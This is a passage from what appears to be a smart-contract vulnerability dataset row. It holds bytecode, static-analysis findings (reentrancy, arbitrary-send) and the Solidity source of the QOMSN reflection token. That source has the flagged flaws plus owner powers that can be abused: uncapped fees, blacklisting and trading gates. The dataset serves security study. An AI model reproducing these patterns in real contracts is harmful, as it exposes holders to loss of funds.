01612874565b9150509250925092565b6000806040838503121561298e57600080fd5b600061299c85828601612820565b92505060206129ad85828601612874565b9150509250929050565b6000602082840312156129c957600080fd5b60006129d78482850161284a565b91505092915050565b6000602082840312156129f257600080fd5b6000612a008482850161285f565b91505092915050565b600060208284031215612a1b57600080fd5b6000612a2984828501612874565b91505092915050565b600080600060608486031215612a4757600080fd5b6000612a5586828701612889565b9350506020612a6686828701612889565b9250506040612a7786828701612889565b9150509250925092565b6000612a8d8383612a99565b60208301905092915050565b612aa281613239565b82525050565b612ab181613239565b82525050565b6000612ac2826130df565b612acc8185613102565b9350612ad7836130cf565b8060005b83811015612b08578151612aef8882612a81565b9750612afa836130f5565b925050600181019050612adb565b5085935050505092915050565b612b1e8161324b565b82525050565b612b2d8161328e565b82525050565b6000612b3e826130ea565b612b488185613113565b9350612b588185602086016132a0565b612b6181613331565b840191505092915050565b6000612b79602383613113565b9150612b8482613342565b604082019050919050565b6000612b9c602a83613113565b9150612ba782613391565b604082019050919050565b6000612bbf602283613113565b9150612bca826133e0565b604082019050919050565b6000612be2601b83613113565b9150612bed8261342f565b602082019050919050565b6000612c05601d83613113565b9150612c1082613458565b602082019050919050565b6000612c28602a83613113565b9150612c3382613481565b604082019050919050565b6000612c4b602183613113565b9150612c56826134d0565b604082019050919050565b6000612c6e602083613113565b9150612c798261351f565b602082019050919050565b6000612c91602983613113565b9150612c9c82613548565b604082019050919050565b6000612cb4602583613113565b9150612cbf82613597565b604082019050919050565b6000612cd7602483613113565b9150612ce2826135e6565b604082019050919050565b6000612cfa601083613113565b9150612d0582613635565b602082019050919050565b6000612d1d601783613113565b9150612d288261365e565b602082019050919050565b6000612d40601883613113565b9150612d4b82613687565b602082019050919050565b612d5f81613277565b82525050565b612d6e81613281565b82525050565b6000602082019050612d896000830184612aa8565b92915050565b6000604082019050612da46000830185612aa8565b612db16020830184612aa8565b9392505050565b6000604082019050612dcd6000830185612aa8565b612dda6020830184612d56565b9392505050565b600060c082019050612df66000830189612aa8565b612e036020830188612d56565b612e106040830187612b24565b612e1d6060830186612b24565b612e2a6080830185612aa8565b612e3760a0830184612d56565b979650505050505050565b6000602082019050612e576000830184612b15565b92915050565b60006020820190508181036000830152612e778184612b33565b905092915050565b60006020820190508181036000830152612e9881612b6c565b9050919050565b60006020820190508181036000830152612eb881612b8f565b9050919050565b60006020820190508181036000830152612ed881612bb2565b9050919050565b60006020820190508181036000830152612ef881612bd5565b9050919050565b60006020820190508181036000830152612f1881612bf8565b9050919050565b60006020820190508181036000830152612f3881612c1b565b9050919050565b60006020820190508181036000830152612f5881612c3e565b9050919050565b60006020820190508181036000830152612f7881612c61565b9050919050565b60006020820190508181036000830152612f9881612c84565b9050919050565b60006020820190508181036000830152612fb881612ca7565b9050919050565b60006020820190508181036000830152612fd881612cca565b9050919050565b60006020820190508181036000830152612ff881612ced565b9050919050565b6000602082019050818103600083015261301881612d10565b9050919050565b6000602082019050818103600083015261303881612d33565b9050919050565b60006020820190506130546000830184612d56565b92915050565b600060a08201905061306f6000830188612d56565b61307c6020830187612b24565b818103604083015261308e8186612ab7565b905061309d6060830185612aa8565b6130aa6080830184612d56565b9695505050505050565b60006020820190506130c96000830184612d65565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312f82613277565b915061313a83613277565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316f5761316e6132d3565b5b828201905092915050565b600061318582613277565b915061319083613277565b9250826131a05761319f613302565b5b828204905092915050565b60006131b682613277565b91506131c183613277565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fa576131f96132d3565b5b828202905092915050565b600061321082613277565b915061321b83613277565b92508282101561322e5761322d6132d3565b5b828203905092915050565b600061324482613257565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329982613277565b9050919050565b60005b838110156132be5780820151818401526020810190506132a3565b838111156132cd576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136b981613239565b81146136c457600080fd5b50565b6136d08161324b565b81146136db57600080fd5b50565b6136e781613277565b81146136f257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b09f9d370fa9c5c73b698a7b2459bbe7ca7e336db527989559555ef51430ea6964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 903 |
0x46b8b8407679749280c7109a0298ba529728abe9 | /**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract QOMSN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Qommission";//
string private constant _symbol = "QOMSN";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 2;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 2;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x21524f2F383cd22Fdf63F053c9B96117397C8F03);//
address payable private _marketingAddress = payable(0x21524f2F383cd22Fdf63F053c9B96117397C8F03);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 20000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130cb565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613514565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613037565b61088f565b60405161026491906134de565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f9565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f6565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe8565b6108e4565b6040516102f791906134de565b60405180910390f35b34801561030c57600080fd5b506103156109bd565b60405161032291906136f6565b60405180910390f35b34801561033757600080fd5b506103406109c3565b60405161034d919061376b565b60405180910390f35b34801561036257600080fd5b5061036b6109cc565b60405161037891906134c3565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f5a565b6109f2565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061310c565b610ae2565b005b3480156103df57600080fd5b506103e8610b93565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f5a565b610c64565b60405161041e91906136f6565b60405180910390f35b34801561043357600080fd5b5061043c610cb5565b005b34801561044a57600080fd5b5061046560048036038101906104609190613135565b610e08565b005b34801561047357600080fd5b5061047c610ea7565b60405161048991906136f6565b60405180910390f35b34801561049e57600080fd5b506104a7610ead565b6040516104b491906134c3565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061310c565b610ed6565b005b3480156104f257600080fd5b506104fb610f90565b60405161050891906136f6565b60405180910390f35b34801561051d57600080fd5b50610526610f96565b6040516105339190613514565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613135565b610fd3565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315e565b611072565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613037565b611129565b6040516105c291906134de565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f5a565b611147565b6040516105ff91906134de565b60405180910390f35b34801561061457600080fd5b5061061d611167565b005b34801561062b57600080fd5b5061064660048036038101906106419190613073565b611240565b005b34801561065457600080fd5b5061065d6113a0565b60405161066a91906136f6565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fac565b6113a6565b6040516106a791906136f6565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613135565b61142d565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f5a565b6114cc565b005b61070a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613656565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a30565b91505061079a565b5050565b60606040518060400160405280600e81526020017f54686520516f6d6d697373696f6e000000000000000000000000000000000000815250905090565b60006108a361089c61168e565b8484611696565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108f1848484611861565b6109b2846108fd61168e565b6109ad85604051806060016040528060288152602001613f3d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096361168e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122359092919063ffffffff16565b611696565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fa61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613656565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aea61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613656565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd461168e565b73ffffffffffffffffffffffffffffffffffffffff161480610c4a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3261168e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5357600080fd5b6000479050610c6181612299565b50565b6000610cae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612394565b9050919050565b610cbd61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e1061168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613656565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ede61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290613656565b60405180910390fd5b80601660146101000a81548160ff021916908315150217905550600360088190555050565b60185481565b60606040518060400160405280600581526020017f514f4d534e000000000000000000000000000000000000000000000000000000815250905090565b610fdb61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90613656565b60405180910390fd5b8060198190555050565b61107a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90613656565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113d61113661168e565b8484611861565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a861168e565b73ffffffffffffffffffffffffffffffffffffffff16148061121e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120661168e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122757600080fd5b600061123230610c64565b905061123d81612402565b50565b61124861168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613656565b60405180910390fd5b60005b8383905081101561139a578160056000868685818110611321577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113369190612f5a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139290613a30565b9150506112d8565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143561168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990613656565b60405180910390fd5b8060188190555050565b6114d461168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c8906135b6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd906136d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffff